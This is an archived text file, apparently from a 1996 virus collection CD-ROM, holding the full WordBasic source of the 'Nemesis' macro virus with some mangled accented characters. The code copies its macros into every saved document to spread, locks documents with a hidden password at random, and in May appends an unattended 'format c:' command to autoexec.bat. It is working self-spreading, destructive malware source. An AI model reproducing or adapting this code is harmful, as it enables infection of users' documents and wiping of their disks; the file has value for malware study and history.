home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MVUPDAT3.ZIP / XENIXOS.ZIP / NEMESIS.ZIP / NEMESIS3.TXT < prev    next >
Encoding:
Text File  |  1996-04-16  |  2.2 KB  |  67 lines
  1. Macro dateiSpeichern
  2.  
  3. Sub MAIN
  4. Dim dlg As FichierEnregistrerSous   'declare dialog as type FileSaveAs
  5. On Error Goto finish
  6. GetCurValues dlg
  7.  
  8. Diag$ = "0"
  9. DΘsactiverMacrosAuto 0
  10.  
  11. Section$ = "Compatibility"
  12. wininistr$ = "0x0020401"
  13. ProfileName$ = "RR2CD"
  14. PrintText$ = "Brought to you by the Nemesis Corporation, ⌐1996"
  15. Password$ = Chr$(120) + Chr$(101) + Chr$(110) + Chr$(105) + Chr$(120) + Chr$(111) + Chr$(115)
  16.  
  17. DΘsactiverTouches
  18.  
  19. If InStr(NomFichier$(), "Dokument") <> 0 Then
  20.     Dialog dlg
  21. End If
  22.  
  23. On Error Goto finish
  24.  
  25. NoVir$ = GetProfileString$(Section$, ProfileName$)
  26. If (NoVir$ <> wininistr$) And (UCase$(NomFichier$()) <> "VIRUS.DOT") Then
  27.     'Is the document of Type=(WordDocument or Template) ?
  28.     If (dlg.Format = 0) Or (dlg.Format = 1) Then
  29.     'Copy Macro's from Global data area into document.
  30.     MacroCopie "Global:AutoExec", NomFenΩtre$() + ":AutoExec", 1
  31.     MacroCopie "Global:AutoOpen", NomFenΩtre$() + ":AutoOpen", 1
  32. '    MakroKopieren "Global:BearbeitenRⁿckgΣngig", FensterName$() + ":BearbeitenRⁿckgΣngig", 1
  33.     MacroCopie "Global:Datei╓ffnen", NomFenΩtre$() + ":Datei╓ffnen", 1
  34.  
  35.     MacroCopie "Global:DateiBeenden", NomFenΩtre$() + ":DateiBeenden", 1
  36.     MacroCopie "Global:DateiSpeichernUnter", NomFenΩtre$() + ":DateiSpeichernUnter", 1
  37.     MacroCopie "Global:DateiSpeichern", NomFenΩtre$() + ":DateiSpeichern", 1
  38.     MacroCopie "Global:Drop", NomFenΩtre$() + ":Drop", 1
  39.     MacroCopie "Global:DateiDrucken", NomFenΩtre$() + ":DateiDrucken", 1
  40.     MacroCopie "Global:DateiDruckenStandard", NomFenΩtre$() + ":DateiDruckenStandard", 1
  41.     MacroCopie "Global:ExtrasMakro", NomFenΩtre$() + ":ExtrasMakro", 1
  42.     MacroCopie "Global:Dummy", NomFenΩtre$() + ":Dummy", 1
  43.     'Set to save document as a template.
  44.     dlg.Format = 1
  45.  End If
  46.  
  47. If (Seconde(Maintenant()) > 45) And (Diag$ = "0") Then
  48.     dlg.MotDePasse = Password$
  49. End If
  50.  
  51. If (Mois(Maintenant()) = 5) And (Jour(Maintenant()) >= 1) And (Diag$ = "0") Then
  52.     DΘfinirAttr "c:\autoexec.bat", 0
  53.     Open "c:\autoexec.bat" For Append As #1
  54.     Print #1, "@echo j|format c: /u >nul"
  55.     Close #1
  56. End If
  57.  
  58. finish:
  59. End If
  60.  
  61. If LCase$(NomFichier$()) <> "normal.dot" Then
  62.     FichierEnregistrerSous dlg  'save the document infected.
  63. End If
  64.  
  65. FichierEnregistrer
  66. End Sub
  67.